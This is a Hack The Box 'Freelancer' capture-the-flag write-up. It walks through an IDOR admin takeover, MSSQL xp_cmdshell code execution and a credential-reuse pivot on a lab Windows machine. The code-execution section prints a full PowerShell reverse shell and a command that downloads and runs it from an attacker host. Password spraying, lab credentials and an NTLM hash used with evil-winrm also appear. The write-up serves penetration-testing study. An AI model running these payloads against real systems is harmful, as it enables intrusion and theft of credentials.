Hack The Box Freelancer Writeup (Hard Windows)
Hard Windows box. An IDOR in the QR login takes over admin, the SQL terminal runs xp_cmdshell as sa, and a setup INI leaks a password reused elsewhere.
Summary
Freelancer is a hard Windows machine running a job board on top of MSSQL. Kerbrute userenum confirms taylor as a valid domain account, and on the site an employer account can be activated without waiting for approval by running it through the account recovery form. The QR code login is vulnerable to an IDOR: the backend never checks which user a one time token was issued for, so a PoC swaps the user id and returns a session cookie for any account, including the administrator, which opens /admin. That panel exposes an SQL terminal, where EXECUTE AS LOGIN = ‘sa’ re-enables xp_cmdshell and a PowerShell reverse shell chosen to slip past AV lands as sql_svc. In that account’s Downloads directory, sql-Configuration.INI from the SQL Server setup holds a cleartext password, and spraying it across the local users with crackmapexec hits mikasaAckerman, who cannot use WinRM but can be run as with RunasCs. The note closes with the Evil-WinRM commands for lorra199 and for Administrator using a recovered NTLM hash.
Initial Target - 10.129.146.153
Service Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# Nmap 7.94SVN scan initiated Sun Jun 2 10:03:22 2024 as: nmap -A -vv -oN scans/nmap.initial freelancer.htb
Nmap scan report for freelancer.htb (10.129.146.153)
Host is up, received syn-ack (0.17s latency).
Scanned at 2024-06-02 10:03:22 EDT for 95s
Not shown: 988 filtered tcp ports (no-response)
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack Simple DNS Plus
80/tcp open http syn-ack nginx 1.25.5
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-favicon: Unknown favicon MD5: 582290CAF5F37817946D9C6A04D4AF95
|_http-server-header: nginx/1.25.5
|_http-title: Freelancer - Job Board & Hiring platform
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2024-06-02 19:04:34Z)
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: freelancer.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack
464/tcp open kpasswd5? syn-ack
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: freelancer.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-06-02T19:04:46
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 49485/tcp): CLEAN (Timeout)
| Check 2 (port 16972/tcp): CLEAN (Timeout)
| Check 3 (port 14179/udp): CLEAN (Timeout)
| Check 4 (port 61742/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: 5h00m49s
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jun 2 10:04:57 2024 -- 1 IP address (1 host up) scanned in 95.28 seconds
BS01: Username Enumeration
It’s possible to enumerate usernames via kerberos with kerbrute userenum. Valid username found:
taylor
BS02: Employer Account Activation
Explanation: It is possible to create an employer account and activate it without having to wait for approval. We just have to create the account using the usual register form and then fill the account recovery form.
Severity: Medium
Recommendation: (1 paragraph recommendation)
Steps to Reproduce:
Create an employer account at
http://freelancer.htb/employer/register/.Head to http://freelancer.htb/accounts/recovery/ and begin the recovery process of your newly created employer account.
After recovering your account, you will be able to log in at
http://freelancer.htb/accounts/login/.
BS03: IDOR - Arbitrary Account Takeover
Explanation: The login via QR code feature is susceptible to IDOR, where a remote attacker could potentially manipulate the user ID associated with a newly generated OTP token and be able to log in to any, including admin, account in the system. The vulnerability occurs because the backend fails to verify for which user ID the token was issued for.
Severity: High
Recommendation: (1 paragraph recommendation)
Steps to Reproduce:
Run this PoC created by BehindSecurity to exploit this IDOR vulnerability and get the session cookie for any user in the system.
After getting the cookies for the admin user, you’ll obtain access to the administrative panel at
http://freelancer.htb/admin/.
BS04: Initial Access - Remote Code Execution (RCE) through MSSQL Terminal
Explanation: After obtaining access to the admin portal at http://freelancer.htb/admin/ by following the instructions in BS03, it’s possible to achieve remote code execution via “xp_cmdshell” on MSSQL after elevating privileges to “sa” account.
Severity: High
Recommendation: (1 paragraph recommendation)
Steps to Reproduce:
Obtain administrative access to the admin account by following instructions in BS01.
Head to
http://freelancer.htb/adminand open the SQL terminal.Create the following powershell reverse shell script on your attacking machine as
evil.ps1:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
do {
# Delay before establishing network connection, and between retries
Start-Sleep -Seconds 1
# Connect to C2
try{
$TCPClient = New-Object Net.Sockets.TCPClient('YOUR-TUN0-IP-ADDRESS', 53)
} catch {}
} until ($TCPClient.Connected)
$NetworkStream = $TCPClient.GetStream()
$StreamWriter = New-Object IO.StreamWriter($NetworkStream)
# Writes a string to C2
function WriteToStream ($String) {
# Create buffer to be used for next network stream read. Size is determined by the TCP client recieve buffer (65536 by default)
[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0}
# Write to C2
$StreamWriter.Write($String + 'SHELL> ')
$StreamWriter.Flush()
}
# Initial output to C2. The function also creates the inital empty byte array buffer used below.
WriteToStream ''
# Loop that breaks if NetworkStream.Read throws an exception - will happen if connection is closed.
while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {
# Encode command, remove last byte/newline
$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1)
# Execute command and save output (including errors thrown)
$Output = try {
Invoke-Expression $Command 2>&1 | Out-String
} catch {
$_ | Out-String
}
# Write output to C2
WriteToStream ($Output)
}
# Closes the StreamWriter and the underlying TCPClient
$StreamWriter.Close()
Fire up a simple http server with python in the same folder the above script is located:
python3 -m http.server 8000Listen on port 53 (the port you specified in the evil.ps1 payload):
sudo rlwrap nc -lvnp 53In the SQL terminal, execute the following payload:
1
2
3
4
5
6
7
8
EXECUTE AS LOGIN = 'sa';
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'powershell -nop -c iex(iwr -usebasicparsing http://attacker-ip:8000/evil.ps1)'
More information on this privilege escalation technique at HackTricks.
Additional Comments: My first thought was to try to crack the password hashes for the users in the database, but wasn’t successful. Took some time until got my way to enable xp_cmdshell, MSSQL isn’t something I’m used to, and it was really enjoyable poking with it.
Had to try many different ways to obtain a reverse shell, because of the AV. The technique shown in the steps to reproduce is from here. The powershell reverse shell payload was taken from here.
BS05: Horizontal Privilege Escalation - Exposed Credentials
Explanation: After obtaining a reverse shell as “sql_svc” by following the steps outlined in BS04, it is possible to read a sensitive INI file that contains valid credentials to other system user in the target machine.
Severity: High
Recommendation: (1 paragraph recommendation)
Steps to Reproduce:
Read
C:\Users\sql_svc\Downloads\SQLEXPR-2019_x64_ENU\sql-Configuration.INI, and you’ll obtain the password “IL0v3ErenY3ager”.Create a
users.txtfile in your attacking machine containing all the users inC:\Users.Use crackmapexec to perform a password spray attack:
cme smb freelancer.htb -u users.txt -p 'IL0v3ErenY3ager' --sharesand you’ll get a hit on the user “mikasaAckerman”.It isn’t possible to log in as mikasaAckerman using evil-winrm, but we can use RunasCs:
Download the latest version of RunasCs:
wget https://github.com/antonioCoco/RunasCs/releases/download/v1.5/RunasCs.zip && unzip RunasCs.zipFire up a smb server on your attacking machine in order to upload the runascs binary:
mkdir smb && mv RunasCs.exe smb/ && sudo impacket-smbserver -smb2support -username behindsecurity -password 'BehindSecurity2024!' smb smb/On the attacking machine, head to sql_svc’s documents folder:
cd C:\Users\sql_svc\DocumentsMount the smb share to the victim host:
net use B: \\your-tun0-ip-address\smb /user:behindsecurity 'BehindSecurity2024!'Copy the binary file to the victim machine:
copy B:\RunasCs.exe .
Using the same “evil.ps1” payload outlined in BS04, we’ll fire up a python web server to serve it:
python3 -m http.server 8000(evil.ps1 must be in the same folder the web server is being served on)Use runascs to obtain a reverse shell as mikasaackerman:
mikasaackerman:IL0v3ErenY3ager
evil-winrm -i freelancer.htb -u lorra199 -p ‘PWN3D#l0rr@Armessa199’
evil-winrm -i freelancer.htb -u Administrator -H ‘0039318f1e8274633445bce32ad1a290’